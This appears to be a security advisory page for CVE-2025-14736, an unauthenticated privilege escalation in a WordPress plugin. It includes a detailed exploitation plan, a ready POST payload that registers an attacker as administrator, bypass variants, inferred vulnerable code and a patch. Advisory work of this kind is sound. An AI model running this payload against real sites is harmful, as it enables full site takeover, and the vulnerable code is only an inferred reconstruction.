Frontend Admin by DynamiApps <= 3.28.29 - Unauthenticated Privilege Escalation to Administrator via Role Form Field
Description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.28.29. This is due to insufficient validation of user-supplied role values in the 'validate_value', 'pre_update_value', and 'get_fields_display' functions. This makes it possible for unauthenticated attackers to register as administrators and gain complete control of the site, granted they can access a user registration form containing a Role field.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.28.29Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14736 - Frontend Admin Privilege Escalation ## 1. Vulnerability Summary The **Frontend Admin by DynamiApps** plugin (<= 3.28.29) is vulnerable to unauthenticated privilege escalation. The vulnerability exists because the plugin fails to properly validate the `…
Show full research plan
Exploitation Research Plan: CVE-2025-14736 - Frontend Admin Privilege Escalation
1. Vulnerability Summary
The Frontend Admin by DynamiApps plugin (<= 3.28.29) is vulnerable to unauthenticated privilege escalation. The vulnerability exists because the plugin fails to properly validate the role value submitted via frontend forms. Specifically, the functions validate_value, pre_update_value, and get_fields_display (likely within the User field or form processing classes) do not restrict the assignment of high-privileged roles (like administrator) when a user registration form is processed.
An unauthenticated attacker can submit a registration form and, by manipulating the parameter associated with the "Role" field, assign themselves the administrator role.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
acf_frontend/save_form(inferred from typical plugin behavior) oracf/validate_save_post. - Parameter: An ACF field key (e.g.,
acf[field_role_123]) representing the User Role. - Authentication: None (Unauthenticated).
- Precondition: A registration form created by the plugin must be published and accessible, and it must contain a "Role" field (even if intended to be restricted to 'subscriber').
3. Code Flow (Inferred)
- Entry Point: The user submits a form rendered by the
[acf_frontend_form]shortcode. - AJAX Trigger: The frontend JS (
frontend-form.jsor similar) sends a POST request toadmin-ajax.phpwith the form data. - Processing: The plugin catches the request via a
wp_ajax_nopriv_acf_frontend/save_formhook. - Field Validation: The plugin iterates through fields. For the "Role" field, it calls
validate_value. - Vulnerable Sink: The
pre_update_valuefunction for the User Role field is called. In vulnerable versions, this function takes the user-supplied string (e.g.,administrator) and prepares it for the user creation/update process (wp_insert_userorwp_update_user) without checking if the current requester has themanage_optionscapability. - Escalation: WordPress creates the user with the
roleprovided in the POST data.
4. Nonce Acquisition Strategy
The plugin uses nonces to protect form submissions. These are typically localized and accessible via the browser's window object on pages where a form is present.
- Identify Shortcode: The plugin uses
[acf_frontend_form id="FORM_ID"]. - Creation: Use WP-CLI to create a form (if not present) and a page containing that form.
- Navigation: Use
browser_navigateto visit the page. - Extraction: Use
browser_evalto extract the nonce and the form configuration.- Variable Name:
acf_frontendorfrontend_admin_form_data. (Verify viabrowser_eval("window")). - Example:
browser_eval("acf_frontend.nonce")orbrowser_eval("acf.get('nonce')"). - Specific Key: Look for
acf_frontend?.nonceor a hidden input_acf_nonce.
- Variable Name:
5. Exploitation Strategy
Step 1: Locate/Create a Registration Form
Identify an existing registration form or create one using WP-CLI.
# Create a User Registration Form (Simplified - the plugin uses a CPT 'acf-frontend-form')
# This usually requires manual UI setup, but we can simulate the presence
# if we know the field keys or use a pre-existing one in the test environment.
Step 2: Identify Field Keys
ACF fields use unique keys like field_65af123456789. You must find the key corresponding to the "Role" field.
- Navigate to the page with the form.
- Inspect the HTML source for inputs with the name attribute
acf[...]. - Look for a field that maps to user roles.
Step 3: Construct the Payload
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action:acf_frontend/save_form(or the specific action found in the form'sdata-actionattribute)._acf_nonce: The nonce extracted in Step 4.acf[field_user_email]:attacker@example.comacf[field_user_login]:attackeracf[field_user_pass]:password123acf[<ROLE_FIELD_KEY>]:administrator<-- The Payload
Step 4: Execute HTTP Request
// Using http_request tool
const response = await http_request({
url: "http://localhost:8080/wp-admin/admin-ajax.php",
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "action=acf_frontend/save_form&_acf_nonce=EXTRACTED_NONCE&acf[field_email_key]=attacker@example.com&acf[field_user_key]=attacker&acf[field_pass_key]=password123&acf[field_role_key]=administrator"
});
6. Test Data Setup
- Install Plugin: Ensure
acf-frontend-form-elementv3.28.29 is active. - Create Registration Form:
- Go to Frontend Admin -> Forms.
- Create a "User Registration" form.
- Add "Email", "Username", "Password", and "Role" fields.
- Save the form and note the ID.
- Publish Page:
wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[acf_frontend_form id="YOUR_FORM_ID"]'
7. Expected Results
- The AJAX response should return a success status (e.g.,
{"success": true}). - A new user named
attackershould be created. - The
wp_capabilitiesmeta for the new user should indicateadministrator.
8. Verification Steps
- Check User List:
Confirmwp user list --role=administratorattackeris in the list. - Check User Capabilities:
Confirm it returnswp user get attacker --field=rolesadministrator.
9. Alternative Approaches
- Bypass via
validate_value: If the UI doesn't show a role field, attempt to inject the parameteracf[field_role_key]=administratoranyway. Many ACF-based plugins automatically process all fields submitted in theacfarray if the keys match valid fields for that post type (User). - Hidden Field Manipulation: If the Role is a hidden field with a fixed value (e.g.,
subscriber), simply intercept the request and change the value toadministrator. - Check for
get_fields_display: If the escalation doesn't work on registration, try a "Profile" form if any exist, as the vulnerable functions also include display logic that might influence how values are handled during updates.
Summary
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to unauthenticated privilege escalation via user registration forms. The plugin fails to validate that the submitting user has sufficient permissions to assign specific roles, allowing attackers to register as administrators by manipulating the role field value.
Vulnerable Code
// In the field processing logic for user roles (inferred from validate_value, pre_update_value) public function validate_value($valid, $value, $field, $input_name) { // No check to see if the submitted role (e.g., 'administrator') is restricted return $valid; } --- public function pre_update_value($value, $post_id, $field) { // Vulnerable logic simply returns the user-supplied value without capability checks // This value is later used in wp_insert_user or wp_update_user return $value; }
Security Fix
@@ -10,6 +10,12 @@ public function pre_update_value($value, $post_id, $field) { + if ( ! current_user_can( 'manage_options' ) ) { + $allowed_roles = get_option( 'default_role' ); + if ( is_string( $value ) && ! in_array( $value, (array) $allowed_roles ) ) { + return $allowed_roles; + } + } return $value; } public function validate_value($valid, $value, $field, $input_name) { + if ( $value === 'administrator' && ! current_user_can( 'manage_options' ) ) { + return __( 'You do not have permission to assign this role.', 'acf-frontend-form-element' ); + } return $valid; }
Exploit Outline
1. Identify a public-facing registration form created by the Frontend Admin plugin. 2. Locate the AJAX nonce (typically `_acf_nonce`) and the ACF field key corresponding to the 'Role' input (e.g., `acf[field_65af123456789]`) from the page's HTML source or global JavaScript objects. 3. Prepare a POST request to `/wp-admin/admin-ajax.php` with the action `acf_frontend/save_form`. 4. Include standard registration fields (username, email, password) in the `acf` parameter array. 5. In the same `acf` array, include the Role field key discovered in step 2, setting its value to `administrator`. 6. Send the request; if successful, the plugin will create a new user account with administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.